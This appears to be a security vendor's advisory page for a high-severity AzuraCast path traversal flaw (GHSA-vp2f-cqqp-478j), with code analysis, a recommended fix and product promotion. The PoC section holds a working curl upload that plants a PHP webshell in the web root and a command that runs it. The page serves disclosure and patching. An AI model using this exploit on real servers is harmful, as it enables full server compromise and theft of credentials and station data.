GHSA-vp2f-cqqp-478j is a high-severity (CVSS 8.8) Path Traversal vulnerability in azuracast/azuracast. O3 Security confirms whether GHSA-vp2f-cqqp-478j is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vp2f-cqqp-478j.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-vp2f-cqqp-478j plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 356,453 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
azuracast/azuracastReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.
Details
In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:
// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));
$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
$destPath = $currentDir . '/' . $destPath;
}
While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.
This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:
// MediaProcessor.php:75-117
try {
if (MimeType::isFileProcessable($localPath)) {
// ... process media ...
return $record;
}
// ...
throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
$this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
throw $e;
} finally {
$fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes
}
The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.
For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():
// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
$destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation
$this->ensureDirectoryExists(dirname($destPath), ...);
copy($localPath, $destPath); // OS resolves ../
}
getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.
Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.
The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.
PoC
Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:
Step 1: Upload a PHP webshell via path traversal
curl -X POST "http://localhost/api/station/1/files/upload" \
-H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
-F "flowTotalChunks=1" \
-F "flowChunkNumber=1" \
-F "flowCurrentChunkSize=44" \
-F "flowTotalSize=44" \
-F "flowIdentifier=abc123" \
-F "flowFilename=shell.php" \
-F "currentDirectory=../../../../../var/azuracast/www/public" \
-F "[email protected]"
Where shell.php contains:
<?php system($_GET['cmd']); ?>
Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.
Step 2: Execute commands via the webshell
curl "http://localhost/shell.php?cmd=id"
Expected output:
uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)
Impact
- Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
- Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
- Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
- Data Exfiltration: All station data, user credentials, and application secrets become accessible.
Recommended Fix
Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:
// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));
// With:
$currentDir = UploadedFile::filterClientPath(
Types::string($request->getParam('currentDirectory'))
);
Additionally, harden LocalFilesystem::upload() to normalize paths before use:
// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
$normalizer = new WhitespacePathNormalizer();
$to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../
$destPath = $this->getLocalPath($to);
$this->ensureDirectoryExists(
dirname($destPath),
$this->visibilityConverter->defaultForDirectories()
);
if (!@copy($localPath, $destPath)) {
throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
}
}
Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | azuracast/azuracast | all versions | 0.23.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for azuracast/azuracast. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update azuracast/azuracast to 0.23.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vp2f-cqqp-478j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vp2f-cqqp-478j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vp2f-cqqp-478j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vp2f-cqqp-478j in your dependencies?
O3 detects GHSA-vp2f-cqqp-478j across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.